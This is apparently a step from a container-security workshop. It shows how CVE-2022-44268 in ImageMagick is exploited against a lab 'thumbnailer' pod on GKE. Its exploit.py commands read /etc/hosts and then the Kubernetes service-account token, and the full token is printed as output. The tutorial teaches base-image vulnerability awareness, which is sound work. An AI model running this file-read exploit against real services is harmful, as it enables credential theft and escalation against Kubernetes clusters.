Putting an application into a container does not automatically make it secure. To demonstrate the risks of a vulnerable component introduced by our container base image, we will exploit a vulnerability in the ImageMagick package present in the “thumbnailer” pod we’ve deployed to GKE.
Thumbnailer is a microservice written in Python that simply takes an uploaded image and returns a 100x100 scaled down thumbnail version. The application leverages the ImageMagick convert
utility to do the work. This is very convenient since the official Python open source conatiner image comes with that tool pre-installed.
We will be taking a simple png image file and making a metadata change to it and then will POST it to the Thumbnailer service. Then, we will inspect the returned image and see if any interesting information is embedded in it. The vulnerability we are targeting is CVE-2022-44268 which can allow an attacker to read the contents of a files on the host system via a bug in certain versions of ImageMagick.
First we will add a “TEXT” record to an existing PNG image along with the path to whatever file we are trying to read from the targeted server, the pngcrush
utility is pre-installed in your Cloud9 environment and script has been provided to simplify it’s use. The following example will set this up for the purpose of reading the /etc/hosts
file on the target server:
cd thumbnailer
./exploit.py encode k8s.png /etc/hosts
… which should return:
Encoding /etc/hosts into k8s.png as encoded-k8s.png ...
File encoded as encoded-k8s.png
Now that we have the payload in the image, run this command to ship it up to the thumbnailer service and get back the reduced-size version:
./exploit.py upload encoded-k8s.png $THUMBNAILER_LB
Sending encoded-k8s.png to 34.174.188.234...
Thumbnailed image received as result.png```
Let’s see what we can find in the image we got back from the Thumbnailer
$ ./exploit.py decode result.png
Decoding content from /Users/me/goof/thumbnailer/result.png...
# Kubernetes-managed hosts file.
127.0.0.1 localhost
::1 localhost ip6-localhost ip6-loopback
fe00::0 ip6-localnet
fe00::0 ip6-mcastprefix
fe00::1 ip6-allnodes
fe00::2 ip6-allrouters
10.96.0.66 thumbnailer-679f46cbb8-f64vd
That is the hosts file from the container running in our thumbnailer
pod!
The hosts file of a pod may not be very interesting on it’s face, but imagine what else a clever hacker might start reading. For example, by what if we went after the serviceaccount token in the pod (which is always there by default):
$ ./exploit.py encode k8s.png /var/run/secrets/kubernetes.io/serviceaccount/token
Encoding /var/run/secrets/kubernetes.io/serviceaccount/token into k8s.png as encoded-k8s.png ...
File encoded as encoded-k8s.png
$ ./exploit.py upload encoded-k8s.png $THUMBNAILER_LB
Sending encoded-k8s.png to 34.174.63.243...
Thumbnailed image received as result.png
$ ./exploit.py decode result.png
Decoding content from /Users/me/goof/thumbnailer/result.png...
eyJhbGciOiJSUzI1NiIsImtpZCI6ImV6amdZZUJkb1JfR2x2NlA1Sk5qWjlScUZXeE9INHdIOUN2c2lTV19OdTQifQ.eyJhdWQiOlsiaHR0cHM6Ly9jb250YWluZXIuZ29vZ2xlYXBpcy5jb20vdjEvcHJvamVjdHMvZGV2cmVsLXNtYWxsaW5nL2xvY2F0aW9ucy91cy1zb3V0aDEvY2x1c3RlcnMvaGVsbG8tY2x1c3RlciJdLCJleHAiOjE3MjYxMDQ3NjAsImlhdCI6MTY5NDU2ODc2MCwiaXNzIjoiaHR0cHM6Ly9jb250YWluZXIuZ29vZ2xlYXBpcy5jb20vdjEvcHJvamVjdHMvZGV2cmVsLXNtYWxsaW5nL2xvY2F0aW9ucy91cy1zb3V0aDEvY2x1c3RlcnMvaGVsbG8tY2x1c3RlciIsImt1YmVybmV0ZXMuaW8iOnsibmFtZXNwYWNlIjoic255ay1na2UiLCJwb2QiOnsibmFtZSI6InRodW1ibmFpbGVyLTY3OWY0NmNiYjgtZjY0dmQiLCJ1aWQiOiJkMWUyY2YxNy04NDc5LTQ4OGMtYTllNC1kMjZjY2Y5ZTJmNTUifSwic2VydmljZWFjY291bnQiOnsibmFtZSI6ImRlZmF1bHQiLCJ1aWQiOiI0NWQ4YTMzOC03MzIwLTRkYmQtOTQyNS01ZjVmZjYwNzJkYjMifSwid2FybmFmdGVyIjoxNjk0NTcyMzY3fSwibmJmIjoxNjk0NTY4NzYwLCJzdWIiOiJzeXN0ZW06c2VydmljZWFjY291bnQ6c255ay1na2U6ZGVmYXVsdCJ9.az3avpeqLi7Ul2qLmmaWBo6xfu3-pkVojc2uobZiqI2OCW-V5H9CJri2WPm0_TtEiGE87lYa3NhXeJg2fl9f3yoL6JrDYeo-GseRM0uV__JGR1f2dO2-NIFITN22tkUoQLheh5CY6trmiDWDJcEFBIWWGdXsn_uvylWAybNyuq5CeIwFeoTzxm2xpJnYGrfoM8HEkMQz_N1i7-UUe-I83YohxoOhkaplILren3PItk9c1sgA2_wvCyI5T-wVV2tt-GxGNpmqMd9pjyFs90-GJeOdWIxiloe6mSPOAIDsk4AVWbLYzIhYAlJBeYvLZeX7Diq1Ym2PF1Bu6hAg2n48zg
That, my friend, is a credential that could be used in an attempt to expand an attack against your Kubernetes api server!
The part of this example that developers, in particular, find most disturbing, is that the vulnerability is not nessesarily something wrong in the application code nor the libraries being pulled in. In this example, the vulnerabiltiy is in an operating system bundled package that came along for the ride in the base image chosen.
Continue to the next step to learn how to identify these, and other, vulnerabilities in your container images that are introduced by your container base image.